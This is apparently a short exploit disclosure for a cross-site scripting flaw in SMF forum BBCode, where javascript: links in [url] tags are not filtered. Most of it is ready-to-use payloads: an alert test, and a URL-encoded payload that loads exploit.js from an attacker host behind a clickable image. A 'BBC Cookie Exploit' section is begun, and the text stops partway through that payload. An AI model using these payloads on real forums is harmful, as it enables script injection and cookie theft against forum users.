Author: Xianur0 BBCode of the smf not filtered properly specified urls: [center][size=14pt][url=javascript:alert('xss')]Saltando Filtro :D...[/url][/size] [url=javascript:document.write(unescape(%3Cscript+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fexploit.js%22%3E%3C%2Fscript%3E))][img]http://img508.imageshack.us/img508/6982/flmnetworkuserbar494abfyb2.png[/img][/center] Click on the image, run the javascript.. BBC Cookie Exploit: [center][size=14pt][url=][/url][/size] [url=javascript:document.write('